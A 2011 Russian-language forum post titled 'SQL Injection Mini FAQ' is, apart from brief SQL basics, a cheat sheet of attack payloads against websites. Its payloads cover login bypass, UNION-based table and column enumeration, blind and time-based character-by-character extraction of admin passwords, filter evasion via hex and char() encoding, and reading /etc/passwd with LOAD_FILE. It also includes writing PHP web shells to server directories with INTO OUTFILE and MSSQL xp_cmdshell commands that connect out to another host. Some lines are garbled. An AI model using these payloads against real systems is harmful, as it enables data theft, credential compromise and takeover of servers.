avatar_POCOMAXA

SQL Injection Mini FAQ : все, что нужно знать

Автор POCOMAXA, 2011 Апр. 06, 10:36

« назад - далее »

0 Пользователи и 2 гостей просматривают эту тему.

Ключевые слова [SEO] mu onlineзащитаsqlбазы данныхкомпиляторсинтаксис

POCOMAXA

Компилятору языка безразлично, большими или маленькими буквами пишутся операторы.

Он их не различает.
Имя базы данных не длиннее 10.
Имена прочих объектов SQL - таблиц, столбцов,view(псевдотаблиц) , синонимов - не длиннее 18.

В SQL различаются следующие виды объектов:


база данных (database);
таблица (table);
столбец (column);
индекс (index);
снимок (view);
синоним (synonym).

Дамп базы под командной строкой:

mysqldump --opt -u user -ppass --databases base1 base2 base3 > /tmp/dump.sql

где user – пользователь, pass –пароль(пишется слитно –p), base1 и т.д. базы которые нужно сдампить.
Директорию в которой находятся базы ты можешь посмотреть в /etc/passwd.
Пример:

mysql:x:101:101:MySQL Server,,,:/var/lib/mysql:/bin/false

т.е. директория где хранятся базы /var/lib/mysql.

(или SHOW DATABASES, гораздо проще но у меня почему то вылетала ошибка)
Хочешь сделать полный дамп перечисляешь все базы.
Ну и /tmp/dump.sql – путь куда все сдампится, можно куда угодно, были-бы права на запись.

# mysql -u root -p Пароль -e 'show databases' название таблиц баз данных
mysql -u root -p Пароль -e 'show tables' имя_базы выкачивание базы
mysql -u root -p Пароль private > /tmp/private.sql сохранение БД

КОМЕНТЫ:


-- ,
/*,
{rrr}

Аналоги ПРОБЕЛА:


+ или %2B
табуляция " " или %09
возврат коретки " " или %0D
три символа "$IFS"

КАВЫЧКИ:


" - %22
' - %27
' - %2527
` - %60

Простейшие sql-инъекции:


?id=-1' or 1=1--
?id=-1" or 1=1--
?id=-1 or 1=1--
?id=-1' or 'a'='a
?id=-1" or "a"="a
?id=-1') or ('a'='a

Определение типа переменных(строковая, числовая):


or "1"="1"

Это строка, если результат одинаков:

?id=51
?id='5'+'1'
?id=5'%2b'1
саш"+"а

Это число, если результат одинаков:


?id=263-1
?id=263%2d1

MySQL

Определение кол-ва столбцов в MySQL:

правильное число цифр или null'ов выдаст ответ сервера БЕЗ ошибки:


?id=-1+union+select null,null,null,null,null,null,null,null,null,null /*
?id=-1+union+select+1,2,3,4,5,6,7,8,9,0,11/*

Более удобный способ - менять нужно лишь одну цифру.
При превышении числа столбцов возникает ошибка, то есть их кол-во равно (n-1) после вывода эррора:

?id=-1+order by 7
?id=-1+GROUP BY 32

Определение имён таблицстолбцов:

?id=саша" and passwd="123" and "1"="1
?id=-1 select news_id,message from news where id=47893 or id=47893
?id=-1 select news_id,message from news where id=47893 or news.id=47893

Определение версии MySQL:

UNION, INFORMATION_SCHEMA и ";" нет в mysql < 4.0
У оператора UNION всего два требования - соответствие по типам от предыдущего select,

то есть в нашем примере id имеет тип int и 10 имеет такой же тип, name - строка и "xaxa" -

строка и количество соответствующих столбцов должно быть одинаково.

1)DATABASE() - возвращает имя текущей бд( в MS SQL это BD_NAME() )
2)USER(),SYSTEM_USER(),SESSION_USER() - возвращают имя текущего пользователя, аналогично

USER() в MS SQL
database() - название базы данных с которой работает наш запрос.
version() , @@version - версия базы данных с которой работает наш скрипт.

https://site/test.php?id=9999+union+select+...TABASE(),null/*
https://site/test.php?id=9999+union+select+...l,USER(),null/*
https://site/test.php?id=9999+union+select+...ERSION(),null/*
mysql.user
mysql.user.password

MySQL 4.1
passsword - 256 битный хеш пароля пользователя, начиная с версии 4.1 - хеш 640 битный.

В MySQL =>4.1 есть подзапросы:


select news_id,message from news where id=(select id from users where name="admin")


Основными условиями использования подзапроса является то, что выбираться должен только

один столбец и возвращаемая запись должна быть так же одна.


?id=-1+and+(user_id=2)+and+(ascii(substring(user_passwo rd,1,1))<100)

Характерные операторы только MSSQL:


LIMIT, TOP, LIKE

Обход фильтрации:

1) MySQL и MS SQL представление строк в 16-ом формате


?id=-1 select 0x78617861


Пхп-скрипт для закодирования строки
<?
$string="Ваша строка"; // например /etc/passwd
echo('0x'.bin2hex($string));
?>
<?
echo('0x'.bin2hex($str));
?>

2) MySQL
char(c1,c2,c2,..) - возвращает строку состоящую из символов с ASCII кодами c1,c2,c3...


?id=9999+union+select+char(116,101,115,116),null,n ull /*
?id=9999+union+select+char(116,101,115,116),null,n ull+from_table1 /*
?id=9999+union+select+null,LOAD_FILE(char(47,101,1 16,99,47,112,97,115,115,119,100)),null/*

3) ("UPDA"+"TE users"+"SET password=123456")
4) ?id=-1 union select 1,2,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),4,5 ,6,7,8,9,10,11/*

Несколько очень полезных функций:

1) substring(str,begin,length) - возвращает подстроку str, начиная с begin символа по счету длиной численно

равной length.

2) ascii(char) - возвращает ASCII код символа char


=0+and+(user_id=2)+and+(ascii(substring(user_passw ord,1,1))<100)

3) lower(str) - возвращает строку str, в которой все символы приведены к нижнему регистру

4) CHAR_LENGTH(str) - возвращает длину str lenght(user_name)

5) concat(str1,str2,str3,..) - "склеивает" строки str1,str2,str3 и тд, и возвращет полученный результат.


id=-47893 union select 1,concat(name,":",passwd) from users limit 3000,1000

6) convert(lala,TYPE), TYPE - любой из стандартных типов MySQL : INTEGER, varchar и т.д.
convert("stroka" using cp1251) - возвратит строку "stroka" в нужно вам кодировке.


UNION SELECT TOP 1 convert(int, password%2b'%20morpheus')

FROM admin_login where login_name='trinity'--


htmlspch(fullname)

Определение возможности посимвольного перебора.


Если на два запроса РАЗНЫЕ ответы - один с ошибкой, другой - без, то возможен брут полей:


=10 and(1=1) /*
=10 and(1=2) /*

Посимвольный Брут полей

lower() этот символ переводится в нижний регистр


?id=admin" and ascii(substring(passwd,1,1))>100 and "1"="1
?id=5')union select ascii(lower(substring(user_name,1,1))),20000%2b1 where user_id=1/*
?id=-1 seclet pass from users where id=1+and+(id=2)+and+(ascii(substring(pass,0,1))<10 0)
?id=-1 seclet pass from users where id='admin" and ascii(substring(passwd,1,1))>100 and "1"="1
?id=-1 select news_id,message from news where id=47893 and (select ascii(substring(passwd,1,1)) from users where name="admin")>100
?id=9' AND lower(substring(user(),1,1))="a"/*
?id=-1 UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a"

Брут полей, используя задержку при исполнении ресурсоёмких операций:
На выполнение benchmark() уходит время, значит при совпадении лог условия задержка будет

означает его верность:

server.com/stat.php?id=1 AND 1=if((substring(password,1,1)="u"),

1,benchmark(999999,md5(char(114,115,116))));

MSSQL

Запросы в MSSQL:
Узнать имя первой таблицы:


?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--


(допустим, первая таблица называется 'table1').
Узнать имя таблицы, не table1:


?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

WHERE TABLE_NAME NOT IN ('table1')--

Иногда символ отрицания NOT не работает, но это легко преодолеть


?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

WHERE TABLE_NAME<>table1--

Узнать имя таблицы, не table1, table2, table3:


?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

WHERE TABLE_NAME NOT IN ('table1','table2','table2') --


Найти таблицу, в названии которой присутствует "user":


?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

WHERE TABLE_NAME LIKE '%25user%25'--


Узнать имя первого столбца в "table1":


?id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_NAME="table1"--

Узнать имя столбца, не 'login_id', не 'login_name', не 'password',details':


?id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN

('login_id','login_name','password',details')--

Узнать пароль пользователя 'admin':


?id=-1 UNION SELECT TOP 1 password FROM users where login_name='admin'--
?id=-1 (SELECT+TOP+1+Login+FROM+admin)--
?id=-1 (UNION+SELECT+TOP+1+admin_password+FROM+admin)--

Команды, связанные с конкретными базами данных.


У MSSQL есть следующие команды:

xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данныйц момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида).

EXEC master..xp_cmd_shell "dir>ФАЙЛ"

www.example.ru/index.asp?user=1'; exec master..xp_cmdshell 'telnet 192.168.0.0' --


сервер должен соединиться через telnet с адресом 192.168.0.0

'; EXEC master..sp_makewebtask "\192.168.0.0sharedocsRabotaet.ura",

"SELECT * FROM INFORMATION_SCHEMA.TABLES"


создаст на указанном компьютере данный файл благодаря sp_makewebtask.

SQL содержит 4 группы операторов:

- Операторы описания данных:
CREATE, DROP, ALTER и др.
- Операторы манипуляции данными:
INSERT, DELETE, SELECT, UPDATE и др.
- Операторы задания прав доступа в базе данных:
GRANT / REVOKE , LOCK / UNLOCK , SET LOCK MODE

Применение UPDATE, DELETE, LIMIT, TOP, UPDATE, CREATE, DROP, LIKE, INTO, UNLOAD

Показать часть данных, ограниченных по кол-ву:


select ... LIMIT 99999,1 union select....
select ... LIMIT 1,0 union select....
select id from users LIMIT 1

Найти данные, содержащие строку(типа поиска, очень удобно):


select id from users where password LIKE '".addslashes($password)."'

and user LIKE '".addslashes($user)."'


в этом случае к любому пользователю подойдет пароль %


SELECT login, password FROM members where email='[email protected]' OR login LIKE '%admin%'


взломщик получит пароли от пользователей, в login которых содержится admin.

Показать содержимое файла через прогрузку по БД:

id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/*
select if(LOAD_FILE("blalala") is null,1,2)
?id=-999+union+select+1,2,4,4,5,6, 7,8,9,0,1,2,3,4,5,7,7,8,9,0,1,2,LOAD_FILE('путь_к_файлу'), 4,5,7,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2

Записать данные в файл на сервере:

SELECT * FROM table INTO OUTFILE 'путь_к_файлу/файл';
id=admin' INTO OUTFILE '../../../../WWW/www1/phpnuke69/pwd.txt
[email protected]' INTO OUTFILE 'access.txt' /*
id=9999+union+select+null,' >',null+from+table1+INTO+OUTFILE+

'/usr/local/site/www/banners/cmd.php'/*
' or <> ' ' INTO OUTFILE '/data/httpd/vhosts/./stalker-game.com/all_logins_and_passwords.txt' /*
SELECT '<?echo system($cmd);?>' INTO OUTFILE "e:/home/www/fuck.php";
=-1+UNION+SELECT+null,null,null,'test',null,null+from+users+INTO+OUTFILE+'/tmp/test'/*

Создать таблицу, столбец, запись:

CREATE table test(lala varchar(3000));bulk insert test from "c:/windows/ФАЙЛ"
CREATE table lala(xxx int)
//Создаём таблицу shell
CREATE TABLE shell (code TEXT NULL);
//вставляем в неё сам код шела
INSERT INTO shell VALUES('<? shell(); ?>');
//выводим шел в файл
SELECT * FROM shell INTO OUTFILE '/home/PATH_TO_WWW/shell.php';

Удалить таблицу, столбец:


DROP table test

Удаление данных:

DELETE FROM имя таблицы WHERE выражение


DELETE from users WHERE name='root'&n


Автор: eL.Cat1vO
Благодарность: INC

Похожие темы (5)